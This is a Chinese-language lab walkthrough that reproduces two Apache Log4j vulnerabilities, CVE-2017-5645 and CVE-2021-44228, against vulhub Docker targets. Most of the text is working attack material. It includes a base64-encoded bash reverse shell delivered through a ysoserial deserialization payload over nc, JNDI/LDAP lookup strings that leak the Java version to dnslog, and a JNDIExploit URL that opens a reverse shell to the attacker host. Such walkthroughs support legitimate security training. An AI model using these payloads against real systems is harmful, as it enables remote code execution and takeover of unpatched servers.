Log4j CVE-2017-5645反序列化漏洞
影响范围
Apache Log4j 2.x <= 2.8.2
漏洞成因
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
漏洞利用
环境准备
名称 | IP |
---|---|
攻击机 | 192.168.75.162 |
靶机 | 192.168.75.146 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可
cd vulhub-master/log4j/CVE-2017-5645
docker-compose up -d
然后进入攻击机里使用nmap扫描全端口:
nmap -sS 192.168.75.146 -p 1-65535 -v
漏洞复现
首先准备好生成利用的工具:ysoserial.jar
工具验证漏洞是否存在
可以看出存在log4j漏洞
POC:
//反弹shell命令,注意替换为自己的
bash -i >& /dev/tcp/192.168.75.162/6666 0>&1
//base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=
接下来新打开一个cmd窗口执行以下命令:
nc -lvvp 6666
监听启动后我们使用payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.75.146 4712
访问上述地址后,可以看到如下图,反弹shell成功,此漏洞利用成功
Log4j CVE-2021-44228远程代码执行漏洞
影响范围
Apache Log4j 2.x <= 2.14.1
漏洞成因
Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
漏洞利用
环境准备
名称 | IP |
---|---|
攻击机 | 192.168.75.162 |
靶机 | 192.168.75.146 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可
cd vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
漏洞复现
首先准备好生成利用的工具:JNDIExploit-1.2-SNAPSHOT.jar
在利用漏洞之前,需要先判断目标是否出网,这里我们采用ceye来判断,也可以使用dnslog
POC:#记得修改xxx.dnslog.cn为自己的,下方二选一
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
然后访问链接:
http://192.168.75.146:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
接下来在ceye或dnslog端即可看见java版本信息了,如下图所示,若无信息返回,则代表不出网
接下来我们通过准备好的利用工具,输入如下指令
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.75.162
执行完上述命令会开启ldap和http服务,如下图所示:
接下来新打开一个cmd窗口执行以下命令:
nc -lvvp 6666
监听启动后我们在浏览器输入:
http://192.168.75.146:8983/solr/admin/cores?action=${jndi:ldap://192.168.75.162:1389/Basic/ReverseShell/192.168.75.162/6666}
访问上述地址后,可以看到如下图,反弹shell成功,此漏洞利用成功